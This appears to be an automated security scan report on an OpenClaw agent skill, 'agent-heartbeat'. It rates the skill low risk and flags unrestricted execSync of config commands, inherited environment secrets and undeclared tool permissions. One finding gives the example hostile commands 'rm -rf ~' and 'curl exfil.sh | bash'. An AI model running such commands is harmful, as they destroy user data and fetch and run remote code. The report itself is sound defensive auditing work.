Low Risk — Risk Score 20/100
Last scan:1 day ago Rescan
20 /100
agent-heartbeat
Unified heartbeat system for OpenClaw agents. Runs parallel health checks, data collectors, and state monitors in one command.
This is a legitimate heartbeat monitoring tool that executes user-defined shell commands from a config file — its core functionality is documented and intentional, but the SKILL.md lacks an allowed-tools declaration, making its shell:WRITE capability undeclared.
Skill Nameagent-heartbeat
Duration61.0s
Enginepi
Safe to install
Add an allowed-tools declaration to SKILL.md explicitly listing shell:WRITE and filesystem:READ/WRITE. Document that the skill runs arbitrary user-supplied commands from heartbeat.yaml via execSync. Consider adding a --sandbox flag or restricting commands to an allowlist if untrusted configs may be used.

Findings 3 items

Severity Finding Location
Medium
No allowed-tools declaration in SKILL.md Doc Mismatch
SKILL.md declares no allowed tools despite the script executing shell commands (execSync with shell:true) and performing filesystem read/write operations. This is a documentation gap that obscures the skill's actual resource access.
No 'allowed-tools' section present
→ Add an allowed-tools section to SKILL.md: Bash→shell:WRITE, Read→filesystem:READ, Write→filesystem:WRITE
SKILL.md:1
Medium
Unrestricted shell command execution from user config RCE
runCheck() passes check.command directly to execSync with shell:true, meaning any value in heartbeat.yaml can execute arbitrary shell commands. While this is by design, it is not restricted or sandboxed. A malicious or compromised config could run any command (e.g., rm -rf ~, curl exfil.sh | bash).
const output = execSync(check.command, { encoding: 'utf8', timeout: timeoutMs, stdio: ['ignore', 'pipe', 'pipe'], shell: true, env: { ...process.env } });
→ Implement command allowlisting, restrict to specific safe commands (curl, node, python, df, find, awk, tail, wc), or add a --sandbox flag. Consider dropping elevated env vars before execution.
scripts/heartbeat.js:94
Low
Full process environment inherited by child commands Priv Escalation
The execSync call passes the full process environment (env: { ...process.env }) to child commands, meaning credentials, tokens, and API keys in the environment are accessible to arbitrary commands defined in the config.
env: { ...process.env }
→ Strip sensitive environment variables (API keys, tokens, secrets) before passing env to execSync, or document that users should run the skill in an environment with only necessary credentials.
scripts/heartbeat.js:94
ResourceDeclaredInferredStatusEvidence
Shell NONE WRITE ✗ Violation scripts/heartbeat.js:94 — execSync(check.command, { shell: true })
Filesystem NONE WRITE ✗ Violation scripts/heartbeat.js:215 — fs.writeFileSync(path.resolve(outputPath), md)
Filesystem NONE READ ✗ Violation scripts/heartbeat.js:184 — fs.readFileSync(fullConfigPath, 'utf8')
Network NONE READ ✗ Violation Indirect via execSync running curl commands from config
5 findings
🔗
Medium External URL 外部 URL
https://your-email-api/unread
SKILL.md:25
🔗
Medium External URL 外部 URL
https://your-site.com
SKILL.md:31
🔗
Medium External URL 外部 URL
https://your-logger.workers.dev/messages?unread=true
SKILL.md:93
🔗
Medium External URL 外部 URL
https://email-api.example.com/inbox
references/config.md:72
🔗
Medium External URL 外部 URL
https://logger.example.com/messages?unread=true
references/config.md:84

File Tree

3 files · 19.0 KB · 615 lines
JavaScript 1f · 381L Markdown 2f · 234L
├─ 📁 references
│ └─ 📝 config.md Markdown 115L · 3.8 KB
├─ 📁 scripts
│ └─ 📜 heartbeat.js JavaScript 381L · 11.5 KB
└─ 📝 SKILL.md Markdown 119L · 3.7 KB

Security Positives

✓ No base64-encoded payloads or obfuscated code found
✓ No hardcoded credentials, API keys, or tokens in the codebase
✓ No C2 communication, reverse shells, or data exfiltration endpoints
✓ No sensitive file access (no ~/.ssh, ~/.aws, .env reads attempted)
✓ No supply chain risks — no external dependencies required (yaml parser has a fallback)
✓ Configuration-driven design means commands are visible and user-controlled
✓ No prompt injection, no hidden instructions in comments
✓ Timeout enforcement on all child commands prevents indefinite hangs
✓ Documentation is thorough and matches code behavior